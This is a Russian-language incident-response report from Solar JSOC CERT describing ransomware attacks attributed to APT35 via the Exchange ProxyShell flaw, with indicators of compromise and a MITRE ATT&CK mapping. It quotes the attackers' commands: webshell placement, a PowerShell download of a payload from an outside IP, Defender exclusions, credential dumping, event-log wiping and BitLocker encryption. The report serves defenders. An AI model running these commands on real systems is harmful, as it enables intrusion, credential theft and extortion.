Как стать автором
Обновить
77.46
Солар
Безопасность за нами

APT35 — неожиданная угроза: как мы обнаружили иранских хакеров в инфраструктурах нескольких компаний

Время на прочтение12 мин
Количество просмотров12K

С мая 2022 года мы столкнулись с двумя кейсами, где атакующие используют уязвимость Microsoft Exchange ProxyShell для первоначального доступа и размещения веб-шеллов. Скорее всего, атака связана с группой APT35 (иранская группировка, спонсируемая государством). К такому выводу мы пришли, проанализировав тактики и техники, приписываемые группе. Также некоторые обнаруженные индикаторы схожи с теми, что атрибутированы группе. Но обо всем по порядку.

С чего все началось

Чего обычно хотят группировки, действующие в интересах какого-то государства? Их типичные цели - это шпионаж и кража ценных данных. Однако наши кейсы - исключение из правил. Атаке подвергались коммерческие компании, которые в обычных условиях не попали бы в поле зрения таких группировок. Их конечная цель сместилась на получение финансовой выгоды путем шифрования инфраструктуры атакованной компании и требования выкупа. Вспоминаются небезызвестные Lazarus, которые занимаются масштабным кибершпионажем, но при этом осуществляют атаки на криптовалюты, криптобиржи и используют шифровальщики для получения финансовой выгоды. Возникают интересные вопросы. Являются ли попытки прямой монетизации атаки для таких злоумышленников следствием урезания финансирования? Были ли такие действия санкционированы? Пойдут ли по такому же пути иные группировки? Скорее всего, время покажет.

Но вернемся к атаке. Интересен способ отправки требования выкупа. Для этого использовалась обычная печать на принтере. Пример такого письма:

Получив такие письма, жертвы обратились к нам, и к исследованию подключились специалисты Solar JSOC CERT. Ниже описаны тактики, техники и инструменты, использованные в атаках. Данные нам удалось получить в результате исследования образов систем.

Первоначальный доступ

Как упоминалось ранее, для атаки была задействована уязвимость ProxyShell. Для подтверждения использования уязвимости можно обратиться к журналу MSExchange Management и журналам из каталога W3SVC1 (для дополнительного подтверждения можно посмотреть и другие журналы).

Для первоначального размещения веб-шеллов с использованием уязвимости ProxyShell применялись команды:

  • New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "<REDACTED>@<REDACTED>" – присвоение корректной роли учетной записи для возможности импорта и экспорта почтового ящика;

  • New-MailboxExportRequest -Mailbox "<REDACTED>@<REDACTED>" -FilePath "\\localhost\E$\ExchangeServer\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_qdiaxtuajjd'" – команда для экспорта почтового ящика с темой «aspx_qdiaxtuajjd» в файл с расширением aspx. В указанном примере можно обратить внимание на использование нестандартного раздела (не C:\) для установленной версии Exchange;

  • Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "26893b0c-dfc1-4776-83d0-e489e3506b32" – команда на удаление запроса выше.

Загруженный веб-шелл имеет функции загрузки и выгрузки файлов, а также запуска определённых исполняемых файлов. Например, может выполнять команды через оболочку powershell.

 Расположение и наименования первоначального веб-шелла:

  • \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_scyieqfkxna.aspx

  • \\localhost\E$\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx

  • \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_pdydmpramaj.aspx

Можно отметить, что атакующие корректно определяют раздел, на который установлено ПО Microsoft Exchange, что необходимо для эксплуатации размещенных веб-шеллов.

Обратите внимание, что наименование веб-шеллов, размещенных с использованием ProxyShell, имеет повторяющийся паттерн: константа «aspx_», после чего идет 12 случайных символов латинского алфавита и расширение «.aspx».

Пример кода веб-шелла:

Что интересно, после размещения такого многофункционального веб-шелла, осуществляется размещение меньших веб-шеллов:

Расположения, в которых последние размещались:

  • C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx

  • E:\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\login.aspx

  • C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx.req

  • C:\inetpub\wwwroot\aspnet_client\system_web\info.aspx.req

 Последовательность действий после осуществления первоначального доступа:

  1. Создается исключение из проверок для Microsoft Defender для каталога C:\Windows:

    HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows

  2. После проникновения осуществляется последовательное размещение трех исполняемых файлов, их запуск, и выполнение некоторых команд. Размещенные файлы:

    C:\windows\temp\user.exe

    C:\windows\temp\task_update.exe

    C:\Windows\dllhost.exe

    Описание действий, осуществляемых исполняемыми файлами приведено далее.

  3. Осуществляется разведка

    C:\windows\system32\query.exe

    C:\windows\system32\quser.exe

  4. Добавляется правило для FW:

    FW rule added to exception list | *: * | : Terminal Server | LocalPorts:3389 | RemotePorts:*

  5. Запускается TermService

  6. Изменяется значение ключа UseLogonCredential по пути к ветке реестра Control\SecurityProviders\WDigest, которому присвоено значение «1», что позволяет хранить пароли в открытом виде в памяти.

  7. В обоих случаях имеются следы дампа процесса lsass. В первом случае имеются следы обращения к файлу C:\Users\DefaultAccount\AppData\Local\Temp\lsass.zip с использованием созданной учетной записи DefaultAccount. При этом указанные следы имеются уже после первоначальных следов доступа. За 30 секунд до создания дампа имелись следы запуска менеджера задач (taskmgr.exe), с использованием которого можно создать дамп процесса, который будет сохранен по умолчанию в каталог, в котором находился файл «lsass.zip».  Во втором случае имеется файл С:\Windows\Temp\ssasl.pmd, который архивирован в \Windows\Temp\ssasl.zip. Можно заметить, что имя файла «ssasl.pmd» представляет собой зеркальную запись от «lsass.dmp». Указанные следы имеются сразу после первоначального доступа.

Можно обратить внимание, что все вышеперечисленные действия, начиная с эксплуатации ProxyShell до размещения ВПО и его закрепления, осуществляются менее чем за 10 минут и имеют видимый повторяющийся паттерн. Таким образом, можно предположить, что все они осуществляются автоматически.

Анализ ВПО

  1. Файл «user.exe». Предназначен для создания учетной записи DefaultAccount c паролем «P@ssw0rd1234», добавления учетной записи в группе локальных администраторов (окончательный список групп: Administrators, Remote Desktop Users, Distributed COM Users, System Managed Accounts Group), разрешения RDP-доступа к указанной УЗ.

  2. Файл «task_update.exe». При запуске выполняет следующие действия:

  • schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'

  • schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'

  • try { Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}

  • powershell /c {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'http://172.245.26.118/aaa' -OutFile $file}

  • certutil -addstore -f root C:\Windows\Temp\cert.cer

Таким образом, файл создает и запускает задачу Wininet, добавляет каталог «C:\Windows» в исключения для Microsoft Defender, загружает файл «c:\windows\dllhost.exe» и добавляет самоподписанный сертификат в корневые с использованием certutil из файла C:\Windows\Temp\cert.cer. На одном из хостов обнаружен такой сертификат:

При этом на исследованных хостах имеются 2 задачи, одна из которых предположительно создается через веб-шелл:

  • \Microsoft\Windows\Maintenance\Wininet

  • \'\Microsoft\Windows\Maintenance\Wininet'

  1. Данные командного файла «Wininet.bat»:

Как видно, командный файл просто запускает исполнение программы «dllhost.exe» в бесконечном цикле.

  1. Файл «dllhost.exe» является измененной программой реверс-прокси FRPC, собранной из проекта https://github.com/fatedier/frp. Программа написана на языке Go. Ей может быть отдан параметр IP-адреса, к которому осуществляется подключение. Также установлено, что в программе имеются следующие домены:

  • kcp53.tcp443[.]org

  • tcp443.tcp443[.]org

  • kcp53.msupdate[.]us

  • tcp443.msupdate[.]us

После запуска выполняются команды:

powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"

cmd /c "wmic computersystem get domain"

5. Файл C:\Users\kdadmin\Desktop\New folder\install-proxy.bat, данные:

Командный файл выполняет следующие действия:

  • Добавляет каталог «C:\ProgramData» в исключения для Microsoft Defender, создает каталог C:\ProgramData\Microsoft\Windows\DllHost, копирует в него файл dllhost.exe, создает другой командный файл C:\ProgramData\Microsoft\CacheTask.bat.

  • Сохраняет сертификат, хранящийся в теле командного файла в файл  С:\Windows\Temp\cert.cer и устанавливает его в качестве корневого. Можно отметить, что сертификат совпадает с тем, который описан ранее (файлы сертификата и командного найдены на разных хостах).

  • Далее создает и запускает задачу "\Microsoft\Windows\Maintenance\CacheTask", после чего удаляет файл «CacheTask.xml» и самого себя. Можно отметить, что функционал задачи CacheTask полностью аналогичен задаче Wininet – запуск программы-прокси «dllhost.exe» с использованием командного файла «CacheTask.bat» (предположительно аналогичен «Wininet.bat»).

Исследование атаки. Продолжение

Дальнейшее развитие атаки осуществлялось с использованием созданной учетной записи DefaultAccount, в результате подключения по RDP. При этом в большинстве случаев в событиях создания сессии RDP из журналов ОС содержали внешние IP-адреса атакованных систем или 127.0.0.1, предположительно из-за использования программы-прокси dllhost.exe. Однако в одном из кейсов имеется событие eventid 131 (RDP server accepted a new TCP connection) в котором числится IP-адрес, 86.57.3.147, предположительно принадлежащий атакующим. А согласно данным из открытых источников, указанный адрес принадлежит сети AS 43754 (Asiatech Data Transmission company), которая находится как раз в Иране.

После получения учетных записей (после включения хранения паролей в памяти в открытом виде и дампа процесса lsass) осуществляется перемещение на другие хосты компании, также с активным использованием RDP.

Также на различных хостах можно отметить следующие следы:

  1. Использование программы SoftPerfectNetworkScanner. C:\Users\DefaultAccount\Desktop\netscanold.zip – архив, в котором находится исполняемый «netscanold.exe», который является программой SoftPerfectNetworkScanner. Также в архиве находится файл конфигурации «netscanold.xml». Результат сканирования помещался в файл C:\Users\DefaultAccount\Desktop\scan.xml.

  2. Файлы C:\Windows\System32\ewBnYdgI.tmp и C:\Windows\System32\nXGpPHzT.tmp – дампы реестров SAM и Security.

  3. Интересные запуски команд для получения данных УЗ и аудита домена:

    .\secretsdump.exe <username>:<password>@<IP address> >hash.txt. Следы запуска скомпилированной версии программы  https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py, предназначенной для получения дампа хэшей паролей УЗ.

.\ADAudit.ps1. Следы запуска скрипта ADAudit.ps1, предположительно взятого из проекта https://github.com/phillips321/adaudit/blob/master/AdAudit.ps1, который позволяет провести быстрый аудит домена.

  1. На одном из хостов контроллера домена сохранились команды, которые отдавались в кодированном в base64 виде (команда запуска «powershell.exe -NoP -NoL -NonI -Exec Bypass -Enc»), далее уже декодированные команды:

  • $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Start-Sleep -s 1800; shutdown /r /f /t 0}. Команда на выключение компьютера через 1800 секунд (30 минут)

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe net start schedule; Set-Service -Name eventlog -StartupType auto; net start eventlog; wevtutil cl 'Security'; wevtutil cl 'System'; wevtutil cl 'Windows PowerShell'; wevtutil cl 'Microsoft-Windows-PowerShell/Operational'; wevtutil cl 'Microsoft-Windows-TerminalServices-LocalSessionManager/Admin'; wevtutil cl 'Microsoft-Windows-BitLocker/BitLocker Management'. Команда на удаление различных журналов ОС Windows.

  • $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Set-Service -Name eventlog -StartupType disabled; net stop eventlog /y; takeown /F C:\Windows\System32\fvenotify.exe; icacls  C:\Windows\System32\fvenotify.exe /deny EVERYONE:F}. Команда – остановка журналирования ОС, получение прав на fvenotify.exe (исполняемый BitLocker) и запрет для всех пользователей

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe if (Get-Command Get-ClusterSharedVolume -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterSharedVolume) { Suspend-ClusterResource $Cluster -Force; $PlainPassword='66f69e-<REDACTED>; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force; enable-bitlocker $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly;} }. Команда для запуска шифрования. Обратите внимание на использование пароля в открытом виде.

Выводы

Учитывая изложенные выше данные и основываясь на том, что сразу после успешного размещения веб-шеллов осуществляется размещение различных исполняемых файлов, можно предположить, что группа разработала какой-то автоматизированный инструментарий для поиска уязвимых серверов и проведения атак на них.

После получения первоначального доступа осуществляется доступ по протоколу RDP, компрометация иных учетных записей, в далее - горизонтальное перемещение по локальной сети организации и компрометация домена. После этого осуществляется шифрование с использованием BitLocker и оставляется сообщение с требованиями вымогателей.

Интересна скорость развития атаки. В одном случае буквально на следующий день после получения первоначального доступа произошла компрометация домена и была выполнена попытка шифрования с использованием BitLocker. В другом - развитие атаки было более медленным и заняло 11 дней.

Если учесть, что у хакеров есть автоматизированный инструментарий, можно ожидать продолжение атак на различные сети организаций в России.

Индикаторы компрометации (IoC)

Файловые индикаторы

Имя

MD5

SHA1

SHA256

Описание

aspx_qdiaxtuajjd.aspx

79dc1761e54baabbbb8d2938c1ebdb42

2d11db1bd96d649afec7f3cff49c291a512578d9

146cbe779d8d88f7aaa3d8b2c7c3ca28d8f62d1e1f1a62db76c1ccbcb34453cb

Веб-шелл

aspx_scyieqfkxna.aspx

c7b65c9658058ff9c7017b2af503f9e2

493b2e041d6b7411fc25632727149aee8542a586

4d632d0aeb885d53dff495f06af232ba7754d74263e7a284a34edd590ec7bb2c

Веб-шелл

aspx_pdydmpramaj.aspx

618050829a8e744b8873e43da8a4e3c1

5f7cbfe775699638458991564b444415e3c8785c

8ef98860d912997a89bf9da097be86ec97895e16c97f6eb44c71ef51b28a2663

Веб-шелл

login.aspx

b51ab1b5af0e021a13f99d707c2f09fd

1dc582e071a6c484c64bab6af62d72fafc868593

ec7f9544c6c757e22bb7f496587334d84914896c2550420a05e96c86e5cafcaf

Дополнительный веб-шелл

default.aspx

1d513c7e5d4c0b319bf94a7f6384bba6

c48e82062fa0b711557976f1fb28a8bcb2886c80

8e1437356c933c806fd38b3784f502da7226d598ce015436f80e31fb68185153

Дополнительный веб-шелл

default.aspx.req

0f7bc1eabdc6ab9e45eb65de7077f829

ca513db841ce6bf0cb098fffbaaf79791299c63c

19aebcc4b36103b95bc8736edf6fec0930f1b5f7b9829167ba1b966befae7df8

Дополнительный веб-шелл

info.aspx.req

78502913d70b5170f8cac7fba2b1142d

de9eac9bb463855ab83a2bac8d26c0e1a8f55521

d28c5788b5f43c41f137ae023f48c3e5d4f72dea7cd16de195ae247da3b9505d

Дополнительный веб-шелл

dllhost.exe

d55fa23a67fa7ce17b237e1b55274ac5

ce908b5651c7456edd71ed9e0d29dca575bd20e5

f0fb2a5161e8fe786567114d745687d225b80a532ff9313c40fa49bf6002c686

Программа-прокси, измененная FRPC

dllhost.exe

43d6ebb2162e02dde008d6e4ccc1332d

b7a53f52484a32b2dd6023f570f8644edb0f576f

e4901d9a00d550ff2c6e24496e20e769f2ce253a191d6c5492312f1b5053cd64

Программа-прокси, измененная FRPC

wininet.bat

5f098b55f94f5a448ca28904a57c0e58

27102b416ef5df186bd8b35190c2a4cc4e2fbf37

668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0

Командный для запуска dllhost.exe

install-proxy.bat

0fd744b6832c57a2490819764805dfe9

2523c1e8cf2a15cd265847e5265766d3ffa0ab1d

3d2a2d6ef842ed3246c4f14d352b99b0269e1ffdbc965c13a2382c82bda90b14

Командный для закрепления программы-прокси

task_update.exe

0bbb57cacc082306d78dbe1b95b2b9b7

b6fa7273f7d0255e31542c7782df6a136f49fd5d

3d13af2f01cbae96b326a40c5e0399adbb332ab803ba8fc4c27763b5eae26f73

Программа для загрузки и закрепления программы-прокси

user.exe

90ea3af8f0ded9fa6faee010136267c8

b3e051de5210258eb87b0ed7f0c137a240fc76d4

600b927e511d53b7c7c5f4527b6757f1337aff741724aabc429ded097d01f412

Программа для создания УЗ DefaultAccount

cert.cer

0ce5a40d8f50c0435e38b88bf6b0a92d

6970700bc5e0df88e107034bcdad0449c134da08

f85b88a89e7ccef6cd71c4bece78562fe10955663227c5d836408c172efbd99a

Сертификат, использованный в атаке

wininet.xml

d2f4647a3749d30a35d5a8faff41765e

0f676bc786db3c44cac4d2d22070fb514b4cb64c  

559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e

Используется для создания задачи WinInet

Сетевые индикаторы:

·      kcp53.tcp443[.]org

·      tcp443.tcp443[.]org

·      kcp53.msupdate[.]us

·      tcp443.msupdate[.]us

·      kcp53[.]mssync[.]one

·      tcp443[.]mssync[.]one

·      86.57.3[.]147

·      91.203.74[.]214

·      104.21.23[.]5

·      172.245.26[.]118

·      94.232.46[.]57

·      201.116.118[.]22

 Тактики техники и процедуры

Тактика

Техника

Описание

Initial Access

Exploit Public-Facing Application – T1190

Первоначальный доступ через уязвимость Microsoft Exchange

Execution

Windows Command Shell – T1059

Исполнение через оболочку командной строки, оболочку powershell

Persistence

 

Create Account: Local Account– T1136.001

 

Создание и добавление УЗ DefaultAccount

Web Shell – T1505.003

Размещение веб-шеллов через ProxyShell

Scheduled Task/Job: Scheduled Task T1053.005

Создание и исполнение задачи для запуска dllhost.exe

Privilege Escalation

Valid Accounts – T1078

 

Использование существующих привилегированных доменных УЗ

Defense Evasion

Match Legitimate Name or Location – T1036.005

Использование наименования «dllhost.exe» для маскировки под легитимный файл

Impair Defenses: Disable or Modify Tools -T1562.001

Добавление исключений для Microsoft Defender

Impair Defenses: Disable Windows Event Logging - T1562.002

Остановка журналов ОС Windows

Indicator Removal on Host: Clear Windows Event Logs - T1070.001

Очистка журналов ОС Windows

Credential Access

OS Credential Dumping – T1003

 

Дамп процесса lsass. Дампы реестра SAM, Security

Discovery

System Information Discovery – T1082

Разведка с использованием dllhost.exe, следы использования quser.exe, query.exe

Network Service Discovery – T1046

Использование программы Softperfect Network Scanner

Lateral Movement

Remote Services: Remote Desktop Protocol T1021.001

Для перемещения по локальной сети использовался RDP

Collection

Archive Collected Data T1560

Архивирование дампа lsass

Command and Control

Ingress Tool Transfer – T1105

Загрузка dllhost.exe с использованием Invoke-WebRequest

Proxy T1090

Использовалась измененная программа-прокси FRPC

Impact

Data Encrypted for Impact -T1486

Шифрование с использованием BitLocker

System Shutdown/Reboot - T1529

Перезагрузка систем

Автор: Иван Сюхин, руководитель группы реагирования Solar JSOC CERT

Теги:
Хабы:
Всего голосов 17: ↑16 и ↓1+19
Комментарии4

Публикации

Информация

Сайт
rt-solar.ru
Дата регистрации
Дата основания
2015
Численность
1 001–5 000 человек
Местоположение
Россия